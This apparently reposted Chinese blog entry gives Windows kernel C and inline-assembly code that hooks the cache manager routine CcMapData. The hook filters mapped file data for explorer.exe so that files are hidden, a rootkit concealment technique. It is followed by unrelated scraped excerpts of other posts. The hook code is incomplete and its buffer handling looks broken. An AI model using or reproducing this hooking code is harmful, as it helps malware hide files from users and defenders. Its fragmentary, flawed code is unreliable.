[转载]挂接缓存管理器CcMapData()实现文件XX

原作者Azy,发表于DebugMan论坛。

=======================================================

这个方法的最大好处在于简单~~不用分别处理~~

VOID __stdcall HandleMapData(
    IN PFILE_OBJECT  FileObject,
    IN PLARGE_INTEGER  FileOffset,
    IN ULONG  Length,
    IN ULONG  Flags,
    OUT PVOID  *Bcb,
    OUT PVOID  *Buffer
    )
{
    if(!_strnicmp((PCHAR)((ULONG)PsGetCurrentProcess() + ImageNameOffset), "explorer.exe", strlen("explorer.exe")))
    {
        if(CcPinMappedData(FileObject, FileOffset, Length, Flags, Bcb))
        {
            HandleFileHide(*Buffer, Length);
        }
    }
    return;
}

void __declspec(naked) NewCcMapData()
{
    __asm
    {
        pushad
        pushfd
        cli
        push [ebp+1ch]
        push [ebp+18h]
        push [ebp+14h]
        push [ebp+10h]
        push [ebp+0ch]
        push [ebp+8]
        call HandleMapData
        sti
        popfd
        popad
        mov ecx, [ebp-10h]
        mov fs:0, ecx
        pop edi
        pop esi
        pop ebx
        _emit    0xc9
        ret 18h
    }
}
时间: 2024-10-25 21:06:25

[转载]挂接缓存管理器CcMapData()实现文件XX的相关文章

使用缓存管理器,尽你之能力(Cache Me if You Can: Using the NT Cache Manager )

在pediy.com发了一篇译文,简单转载这里. 缓存管理器属于NT内存管理器紧密集成的软件组件,与虚拟内存系统集成文件系统缓存数据. 好处是物理内存的使用和文件缓存和系统运行程序在缓存管理器下达到均衡应用. 另一个使用缓存关键原因是文件可被标准文件系统接口存取,如read和write等.或通过内存管理器形成一个"内存映射"文件. 缓存管理器数据结构:下段描述文件系统和缓存管理器共享的数据结构. Buffer Control Bloxk (BCB) Most of the buffer

SpringMVC + Mybatis + Shiro + ehcache时缓存管理器报错。

org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'shiroFilter' defined in class path resource [spring/spring-shiro-web.xml]: Cannot resolve reference to bean 'securityManager' while setting bean property 'securit

sitecore 缓存管理器

namespace XXX.Shared.Infrastructure.Caching { using System; using System.Collections.Generic; using System.Linq; using System.Runtime.Caching; using System.Threading; using Sitecore.Data; using Sitecore.Diagnostics; using Sitecore.Sites; /// <summary

如何正确理解关键字&quot;with&quot;与上下文管理器(转载)

如果你有阅读源码的习惯,可能会看到一些优秀的代码经常出现带有 “with” 关键字的语句,它通常用在什么场景呢?今天就来说说 with 和 上下文管理器. 对于系统资源如文件.数据库连接.socket 而言,应用程序打开这些资源并执行完业务逻辑之后,必须做的一件事就是要关闭(断开)该资源. 比如 Python 程序打开一个文件,往文件中写内容,写完之后,就要关闭该文件,否则会出现什么情况呢?极端情况下会出现 “Too many open files” 的错误,因为系统允许你打开的最大文件数量是有

Python深入02 上下文管理器

作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 上下文管理器(context manager)是Python2.5开始支持的一种语法,用于规定某个对象的使用范围.一旦进入或者离开该使用范围,会有特殊操作被调用 (比如为对象分配或者释放内存).它的语法形式是with...as... 关闭文件 我们会进行这样的操作:打开文件,读写,关闭文件.程序员经常会忘记关闭文件.上下文管理器可以在不需要文件的时候,自动关闭文件. 下面我们看一

sed的高级命令和软件包管理器rpm

一. sed的高级编辑命令  1.高级编辑命令   P:打印模式空间开端至\n内容,并追加到默认输出之前  h:把模式空间中的内容覆盖至保持空间中  H:把模式空间中的内容覆盖至保持空间中  g:从保持空间取出数据覆盖至模式空间  G:从保持空间取出内容追加至模式空间  x:把模式空间中的内容与保持空间中的内容进行互换  n:读取匹配到的行的下一行覆盖至模式空间  N:读取匹配到的行的下一行追加至模式空间  d:删除模式空间中的行  D:如果模式空间包含换行符,则删除直到第一个换行符的模式空间中

关于:清除并发请求和(或)管理器数据 请求的理解

请求说明:该请求能够清除平时提交的请求日志文件.并发管理器的日志文件.报表输出文件.并发请求和并发管理器进程的历史记录信息. 參数说明:(红色标注字段为必输项) 1.  实体:ALL:清除请求历史记录.并发管理器历史记录.请求日志文件.报表输出 文件. Manager:清除并发管理器历史记录.管理器日志文件. Request:清除并发请求历史记录.请求日志文件.报表输出文件. 2.  模式:使用期限:保存近期几天的历史记录. 计数:保存近期几条历史记录 3.  模式值:依据模式,输入天数或记录条

python --上下文管理器

转自:http://www.cnblogs.com/vamei/archive/2012/11/23/2772445.html 上下文管理器(context manager)是Python2.5开始支持的一种语法,用于规定某个对象的使用范围.一旦进入或者离开该使用范围,会有特殊操作被调用 (比如为对象分配或者释放内存).它的语法形式是with...as... 关闭文件 我们会进行这样的操作:打开文件,读写,关闭文件.程序员经常会忘记关闭文件.上下文管理器可以在不需要文件的时候,自动关闭文件. 下

8种最好的Linux密码管理器

推荐8种最好的Linux密码管理器,可以安全地存储你的登录信息. ·Fiagaro's Password Manager·Gpass·Gpassword Manager·Gringotts·KeePassX·MyPasswords·PasswordSafe·Revelation 除了记得Fedora 13虚拟机的登录信息,您还记得1999年你放弃的Angelfire上站点的账户和密码吗?当时,我们都在上面. 这是福尔摩斯称为填充的阁楼无用的信息.我们不能够清理东西从我们的阁楼,但我们可以信任的一